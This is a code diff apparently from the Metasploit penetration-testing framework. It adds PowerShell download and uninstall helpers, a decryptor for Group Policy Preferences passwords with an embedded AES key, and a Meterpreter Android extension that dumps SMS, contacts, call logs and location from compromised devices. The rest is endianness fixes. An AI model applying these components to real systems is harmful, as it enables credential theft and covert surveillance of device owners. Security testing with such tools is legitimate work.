||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
##
|
||||
# Convenience methods for generating powershell code in Ruby
|
||||
##
|
||||
|
||||
module PshMethods
|
||||
#
|
||||
# Download file via .NET WebClient
|
||||
#
|
||||
# @param src [String] URL to the file
|
||||
# @param target [String] Location to save the file
|
||||
#
|
||||
# @return [String] Powershell code to download a file
|
||||
def self.download(src, target)
|
||||
target ||= '$pwd\\' << src.split('/').last
|
||||
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
|
||||
end
|
||||
|
||||
#
|
||||
# Uninstall app, or anything named like app
|
||||
#
|
||||
# @param app [String] Name of application
|
||||
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
|
||||
# the application name
|
||||
#
|
||||
# @return [String] Powershell code to uninstall an application
|
||||
def self.uninstall(app, fuzzy = true)
|
||||
match = fuzzy ? '-like' : '-eq'
|
||||
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
|
||||
end
|
||||
|
||||
#
|
||||
# Create secure string from plaintext
|
||||
#
|
||||
# @param str [String] String to create as a SecureString
|
||||
#
|
||||
# @return [String] Powershell code to create a SecureString
|
||||
def self.secure_string(str)
|
||||
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
|
||||
end
|
||||
|
||||
#
|
||||
# Find PID of file lock owner
|
||||
#
|
||||
# @param filename [String] Filename
|
||||
#
|
||||
# @return [String] Powershell code to identify the PID of a file
|
||||
# lock owner
|
||||
def self.who_locked_file(filename)
|
||||
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
|
||||
end
|
||||
|
||||
#
|
||||
# Return last time of login
|
||||
#
|
||||
# @param user [String] Username
|
||||
#
|
||||
# @return [String] Powershell code to return the last time of a user
|
||||
# login
|
||||
def self.get_last_login(user)
|
||||
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,99 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex'
|
||||
require 'forwardable'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
class Script
|
||||
attr_accessor :code
|
||||
attr_reader :functions, :rig
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
# Pretend we are actually a string
|
||||
extend ::Forwardable
|
||||
# In case someone messes with String we delegate based on its instance methods
|
||||
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
|
||||
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
|
||||
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
|
||||
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
|
||||
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
|
||||
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
|
||||
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
|
||||
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
|
||||
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
|
||||
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
|
||||
:between?, :squeeze!, :to_s, :chomp, :bytes, :clear, :!~, :to_i, :valid_encoding?, :===,
|
||||
:tr, :downcase!, :scan, :sub!, :each_codepoint, :reverse!, :class, :size, :empty?, :byteslice,
|
||||
:initialize_clone, :to_str, :to_enum, :tap, :tr!, :trust, :encode!, :sub, :oct, :succ, :index,
|
||||
:[]=, :encode, :*, :hex, :to_f, :strip!, :rpartition, :ord, :capitalize, :upto, :force_encoding,
|
||||
:end_with?
|
||||
|
||||
def initialize(code)
|
||||
@code = ''
|
||||
@rig = Rex::RandomIdentifierGenerator.new
|
||||
|
||||
begin
|
||||
# Open code file for reading
|
||||
fd = ::File.new(code, 'rb')
|
||||
while (line = fd.gets)
|
||||
@code << line
|
||||
end
|
||||
|
||||
# Close open file
|
||||
fd.close
|
||||
rescue Errno::ENAMETOOLONG, Errno::ENOENT
|
||||
# Treat code as a... code
|
||||
@code = code.to_s.dup # in case we're eating another script
|
||||
end
|
||||
@functions = get_func_names.map { |f| get_func(f) }
|
||||
end
|
||||
|
||||
##
|
||||
# Class methods
|
||||
##
|
||||
|
||||
#
|
||||
# Convert binary to byte array, read from file if able
|
||||
#
|
||||
# @param input_data [String] Path to powershell file or powershell
|
||||
# code string
|
||||
# @param var_name [String] Byte array variable name
|
||||
#
|
||||
# @return [String] input_data as a powershell byte array
|
||||
def self.to_byte_array(input_data, var_name = Rex::Text.rand_text_alpha(rand(3) + 3))
|
||||
# File will raise an exception if the path contains null byte
|
||||
if input_data.include? "\x00"
|
||||
code = input_data
|
||||
else
|
||||
code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
|
||||
end
|
||||
|
||||
code = code.unpack('C*')
|
||||
psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
|
||||
lines = []
|
||||
1.upto(code.length - 1) do |byte|
|
||||
if (byte % 10 == 0)
|
||||
lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
|
||||
else
|
||||
lines.push ",0x#{code[byte].to_s(16)}"
|
||||
end
|
||||
end
|
||||
|
||||
psh << lines.join('') + "\r\n"
|
||||
end
|
||||
|
||||
#
|
||||
# Return list of code modifier methods
|
||||
#
|
||||
# @return [Array] Code modifiers
|
||||
def self.code_modifiers
|
||||
instance_methods.select { |m| m =~ /^(strip|sub)/ }
|
||||
end
|
||||
end # class Script
|
||||
end
|
||||
end
|
||||
end
|
|
@ -124,7 +124,7 @@ class Util
|
|||
|
||||
|
||||
def self.getUnicodeString(buf)
|
||||
buf = buf.unpack('S*').pack('C*')
|
||||
buf = buf.unpack('v*').pack('C*')
|
||||
if (idx = buf.index(0x00.chr))
|
||||
buf.slice!(idx, buf.length)
|
||||
end
|
||||
|
@ -132,7 +132,7 @@ class Util
|
|||
end
|
||||
|
||||
def self.putUnicodeString(buf)
|
||||
buf = buf.unpack('C*').pack('S*')
|
||||
buf = buf.unpack('C*').pack('v*')
|
||||
if (buf.length < 0x40)
|
||||
buf << "\x00" * (0x40 - buf.length)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,185 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# This is a parser for the Windows Group Policy Preferences file
|
||||
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
|
||||
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
|
||||
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
|
||||
class GPP
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
|
||||
def self.parse(data)
|
||||
if data.nil?
|
||||
return []
|
||||
end
|
||||
|
||||
xml = REXML::Document.new(data).root
|
||||
results = []
|
||||
|
||||
unless xml and xml.elements and xml.elements.to_a("//Properties")
|
||||
return []
|
||||
end
|
||||
|
||||
xml.elements.to_a("//Properties").each do |node|
|
||||
epassword = node.attributes['cpassword']
|
||||
next if epassword.to_s.empty?
|
||||
password = self.decrypt(epassword)
|
||||
|
||||
user = node.attributes['runAs'] if node.attributes['runAs']
|
||||
user = node.attributes['accountName'] if node.attributes['accountName']
|
||||
user = node.attributes['username'] if node.attributes['username']
|
||||
user = node.attributes['userName'] if node.attributes['userName']
|
||||
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
|
||||
changed = node.parent.attributes['changed']
|
||||
|
||||
# Printers and Shares
|
||||
path = node.attributes['path']
|
||||
|
||||
# Datasources
|
||||
dsn = node.attributes['dsn']
|
||||
driver = node.attributes['driver']
|
||||
|
||||
# Tasks
|
||||
app_name = node.attributes['appName']
|
||||
|
||||
# Services
|
||||
service = node.attributes['serviceName']
|
||||
|
||||
# Groups
|
||||
expires = node.attributes['expires']
|
||||
never_expires = node.attributes['neverExpires']
|
||||
disabled = node.attributes['acctDisabled']
|
||||
|
||||
result = {
|
||||
:USER => user,
|
||||
:PASS => password,
|
||||
:CHANGED => changed
|
||||
}
|
||||
|
||||
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
|
||||
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
|
||||
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
|
||||
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
|
||||
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
|
||||
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
|
||||
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
|
||||
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
|
||||
|
||||
attributes = []
|
||||
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
|
||||
attributes << {
|
||||
:A_NAME => dsn_attribute.attributes['name'],
|
||||
:A_VALUE => dsn_attribute.attributes['value']
|
||||
}
|
||||
end
|
||||
|
||||
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
|
||||
|
||||
results << result
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
def self.create_tables(results, filetype, domain=nil, dc=nil)
|
||||
tables = []
|
||||
results.each do |result|
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Group Policy Credential Info',
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Value',
|
||||
]
|
||||
)
|
||||
|
||||
table << ["TYPE", filetype]
|
||||
table << ["USERNAME", result[:USER]]
|
||||
table << ["PASSWORD", result[:PASS]]
|
||||
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
|
||||
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
|
||||
table << ["CHANGED", result[:CHANGED]]
|
||||
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
|
||||
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
|
||||
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
|
||||
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
|
||||
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
|
||||
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
|
||||
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
|
||||
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
|
||||
|
||||
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
|
||||
result[:ATTRIBUTES].each do |dsn_attribute|
|
||||
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
|
||||
end
|
||||
end
|
||||
|
||||
tables << table
|
||||
end
|
||||
|
||||
tables
|
||||
end
|
||||
|
||||
# Decrypts passwords using Microsoft's published key:
|
||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||
def self.decrypt(encrypted_data)
|
||||
password = ""
|
||||
return password unless encrypted_data
|
||||
|
||||
password = ""
|
||||
retries = 0
|
||||
original_data = encrypted_data.dup
|
||||
|
||||
begin
|
||||
mod = encrypted_data.length % 4
|
||||
|
||||
# PowerSploit code strips the last character, unsure why...
|
||||
case mod
|
||||
when 1
|
||||
encrypted_data = encrypted_data[0..-2]
|
||||
when 2, 3
|
||||
padding = '=' * (4 - mod)
|
||||
encrypted_data = "#{encrypted_data}#{padding}"
|
||||
end
|
||||
|
||||
# Strict base64 decoding used here
|
||||
decoded = encrypted_data.unpack('m0').first
|
||||
rescue ::ArgumentError => e
|
||||
# Appears to be some junk UTF-8 Padding appended at times in
|
||||
# Win2k8 (not in Win2k8R2)
|
||||
# Lets try stripping junk and see if we can decrypt
|
||||
if retries < 8
|
||||
retries += 1
|
||||
original_data = original_data[0..-2]
|
||||
encrypted_data = original_data
|
||||
retry
|
||||
else
|
||||
return password
|
||||
end
|
||||
end
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
begin
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
|
||||
end
|
||||
|
||||
password
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,128 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter/extensions/android/tlv'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Android
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
|
||||
class Android < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'android')
|
||||
|
||||
# Alias the following things on the client object so that they
|
||||
# can be directly referenced
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'android',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
def device_shutdown(n)
|
||||
request = Packet.create_request('device_shutdown')
|
||||
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
def dump_sms
|
||||
sms = Array.new
|
||||
request = Packet.create_request('dump_sms')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
||||
|
||||
sms <<
|
||||
{
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return sms
|
||||
end
|
||||
|
||||
def dump_contacts
|
||||
contacts = Array.new
|
||||
request = Packet.create_request('dump_contacts')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
||||
|
||||
contacts <<
|
||||
{
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||
}
|
||||
|
||||
}
|
||||
return contacts
|
||||
end
|
||||
|
||||
def geolocate
|
||||
|
||||
loc = Array.new
|
||||
request = Packet.create_request('geolocate')
|
||||
response = client.send_request(request)
|
||||
|
||||
loc <<
|
||||
{
|
||||
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||
}
|
||||
|
||||
return loc
|
||||
end
|
||||
|
||||
def dump_calllog
|
||||
log = Array.new
|
||||
request = Packet.create_request('dump_calllog')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
||||
|
||||
log <<
|
||||
{
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return log
|
||||
end
|
||||
|
||||
def check_root
|
||||
request = Packet.create_request('check_root')
|
||||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,40 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Android
|
||||
|
||||
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
|
||||
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
|
||||
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
|
||||
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
|
||||
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
|
||||
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
|
||||
|
||||
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
|
||||
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
|
||||
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
|
||||
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
|
||||
|
||||
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
|
||||
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
|
||||
|
||||
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
|
||||
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
|
||||
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
|
||||
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
|
||||
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
|
||||
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
|
||||
|
||||
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
||||
|
||||
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,32 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_psapi
|
||||
|
||||
def self.create_dll(dll_path = 'psapi')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
|
||||
dll.add_function('EnumDeviceDrivers', 'BOOL',[
|
||||
%w(PBLOB lpImageBase out),
|
||||
%w(DWORD cb in),
|
||||
%w(PDWORD lpcbNeeded out)
|
||||
])
|
||||
|
||||
dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [
|
||||
%w(LPVOID ImageBase in),
|
||||
%w(PBLOB lpBaseName out),
|
||||
%w(DWORD nSize in)
|
||||
])
|
||||
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end; end
|
|
@ -120,7 +120,7 @@ class DLL
|
|||
raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
|
||||
|
||||
if( client.platform =~ /x64/i )
|
||||
native = 'Q'
|
||||
native = 'Q<'
|
||||
else
|
||||
native = 'V'
|
||||
end
|
||||
|
@ -153,12 +153,12 @@ class DLL
|
|||
buffer_size = args[param_idx]
|
||||
if param_desc[0] == "PDWORD"
|
||||
# bump up the size for an x64 pointer
|
||||
if( native == 'Q' and buffer_size == 4 )
|
||||
if( native == 'Q<' and buffer_size == 4 )
|
||||
args[param_idx] = 8
|
||||
buffer_size = args[param_idx]
|
||||
end
|
||||
|
||||
if( native == 'Q' )
|
||||
if( native == 'Q<' )
|
||||
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
||||
elsif( native == 'V' )
|
||||
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
||||
|
@ -288,7 +288,7 @@ class DLL
|
|||
#process return value
|
||||
case function.return_type
|
||||
when "LPVOID", "HANDLE"
|
||||
if( native == 'Q' )
|
||||
if( native == 'Q<' )
|
||||
return_hash["return"] = rec_return_value
|
||||
else
|
||||
return_hash["return"] = rec_return_value % 4294967296
|
||||
|
@ -318,7 +318,7 @@ class DLL
|
|||
buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
||||
case buffer_item.datatype
|
||||
when "PDWORD"
|
||||
return_hash[param_name] = buffer.unpack('V')[0]
|
||||
return_hash[param_name] = buffer.unpack(native)[0]
|
||||
when "PCHAR"
|
||||
return_hash[param_name] = asciiz_to_str(buffer)
|
||||
when "PWCHAR"
|
||||
|
@ -338,7 +338,7 @@ class DLL
|
|||
buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
||||
case buffer_item.datatype
|
||||
when "PDWORD"
|
||||
return_hash[param_name] = buffer.unpack('V')[0]
|
||||
return_hash[param_name] = buffer.unpack(native)[0]
|
||||
when "PCHAR"
|
||||
return_hash[param_name] = asciiz_to_str(buffer)
|
||||
when "PWCHAR"
|
||||
|
|
|
@ -50,7 +50,7 @@ class MultiCaller
|
|||
@win_consts = win_consts
|
||||
|
||||
if( @client.platform =~ /x64/i )
|
||||
@native = 'Q'
|
||||
@native = 'Q<'
|
||||
else
|
||||
@native = 'V'
|
||||
end
|
||||
|
@ -102,12 +102,12 @@ class MultiCaller
|
|||
raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
|
||||
buffer_size = args[param_idx]
|
||||
# bump up the size for an x64 pointer
|
||||
if( @native == 'Q' and buffer_size == 4 )
|
||||
if( @native == 'Q<' and buffer_size == 4 )
|
||||
args[param_idx] = 8
|
||||
buffer_size = args[param_idx]
|
||||
end
|
||||
|
||||
if( @native == 'Q' )
|
||||
if( @native == 'Q<' )
|
||||
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
||||
elsif( @native == 'V' )
|
||||
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
||||
|
@ -242,7 +242,7 @@ class MultiCaller
|
|||
#process return value
|
||||
case function.return_type
|
||||
when "LPVOID", "HANDLE"
|
||||
if( @native == 'Q' )
|
||||
if( @native == 'Q<' )
|
||||
return_hash["return"] = rec_return_value
|
||||
else
|
||||
return_hash["return"] = rec_return_value % 4294967296
|
||||
|
|
|
@ -78,7 +78,8 @@ class Railgun
|
|||
'crypt32',
|
||||
'wlanapi',
|
||||
'wldap32',
|
||||
'version'
|
||||
'version',
|
||||
'psapi'
|
||||
].freeze
|
||||
|
||||
##
|
||||
|
|
|
@ -27,8 +27,8 @@ module PointerUtil
|
|||
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
[pointer].pack('Q')
|
||||
# Assume little endian
|
||||
[pointer].pack('Q<')
|
||||
when PlatformUtil::X86_32
|
||||
[pointer].pack('V')
|
||||
else
|
||||
|
@ -40,8 +40,8 @@ module PointerUtil
|
|||
def self.unpack_pointer(packed_pointer, platform)
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
packed_pointer.unpack('Q').first
|
||||
# Assume little endian
|
||||
packed_pointer.unpack('Q<').first
|
||||
when PlatformUtil::X86_32
|
||||
packed_pointer.unpack('V').first
|
||||
else
|
||||
|
|
|
@ -324,8 +324,8 @@ class Util
|
|||
#
|
||||
def unpack_pointer(packed_pointer)
|
||||
if is_64bit
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
packed_pointer.unpack('Q')[0]
|
||||
# Assume little endian
|
||||
packed_pointer.unpack('Q<')[0]
|
||||
else
|
||||
packed_pointer.unpack('V')[0]
|
||||
end
|
||||
|
@ -452,9 +452,9 @@ class Util
|
|||
# Both on x86 and x64, DWORD is 32 bits
|
||||
return raw.unpack('V').first
|
||||
when :BOOL
|
||||
return raw.unpack('l').first == 1
|
||||
return raw.unpack('V').first == 1
|
||||
when :LONG
|
||||
return raw.unpack('l').first
|
||||
return raw.unpack('V').first
|
||||
end
|
||||
|
||||
#If nothing worked thus far, return it raw
|
||||
|
|
|
@ -251,7 +251,7 @@ class Tlv
|
|||
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
||||
raw = [value].pack("N")
|
||||
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
||||
raw = [ self.htonq( value.to_i ) ].pack("Q")
|
||||
raw = [ self.htonq( value.to_i ) ].pack("Q<")
|
||||
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
||||
if (value == true)
|
||||
raw = [1].pack("c")
|
||||
|
@ -312,7 +312,7 @@ class Tlv
|
|||
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
||||
self.value = raw.unpack("NNN")[2]
|
||||
